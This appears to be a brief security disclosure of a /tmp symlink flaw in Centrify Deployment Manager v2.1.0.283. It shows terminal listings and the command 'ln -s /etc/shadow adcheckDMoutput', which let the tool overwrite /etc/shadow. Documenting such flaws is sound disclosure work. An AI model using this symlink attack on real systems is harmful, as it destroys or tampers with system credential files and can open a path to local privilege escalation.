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Centrify Deployment Manager v2.1.0.283锘�
While at a training session for centrify, I noticed poor handling of files in /tmp. I was able to overwrite /etc/shadow with the contents of adcheckDMoutput.
I am sure there are more vulnerabilities to be exploit, maybe a local root - but being this is a training class I should probably focus.....
total 6680
-rwxr-xr-x 1 clyde clyde 6790300 Dec 3 14:41 adcheck-rhel3-i386.210
-rw-rw-r-- 1 clyde clyde 188 Dec 3 14:41 centrify.cmd.210
-rwxr-xr-x 1 root root 187 Dec 3 14:18 engnew-cen.sh
drwx------ 2 root root 4096 Dec 3 10:25 vmware-root
drwxr-xr-x 7 root root 4096 Nov 30 2010 vmware-tools-distrib
[root@engnew-cen tmp]# ls -l
total 6680
-rw-rw-rw- 1 root root 3999 Dec 3 14:41 adcheckDMoutput
-rwxr-xr-x 1 clyde clyde 6790300 Dec 3 14:41 adcheck-rhel3-i386.210
-rwxr-xr-x 1 root root 187 Dec 3 14:18 engnew-cen.sh
drwx------ 2 root root 4096 Dec 3 10:25 vmware-root
drwxr-xr-x 7 root root 4096 Nov 30 2010 vmware-tools-distrib
[root@engnew-cen tmp]# ls -l
total 6688
-rw-rw-rw- 1 root root 3999 Dec 3 14:41 adcheckDMoutput
-rwxr-xr-x 1 clyde clyde 6790300 Dec 3 14:41 adcheck-rhel3-i386.210
-rwxr-xr-x 1 clyde clyde 132 Dec 3 14:41 centrify.cmd.210
-rwxr-xr-x 1 root root 187 Dec 3 14:18 engnew-cen.sh
drwx------ 2 root root 4096 Dec 3 10:25 vmware-root
drwxr-xr-x 7 root root 4096 Nov 30 2010 vmware-tools-distrib
[root@engnew-cen tmp]# ls -l
total 6672
-rwxr-xr-x 1 clyde clyde 6790300 Dec 3 14:41 adcheck-rhel3-i386.210 -rwxr-xr-x 1 root root 187 Dec 3 14:18 engnew-cen.sh
# ln -s /etc/shadow adcheckDMoutput
# ls -l /etc/shadow
-r-------- 1 root root 3999 Dec 3 14:56 /etc/shadow
I am also assuming the .210 appended to the end of files in /tmp is the major version number.
Larry W. Cashdollar
@_larry0
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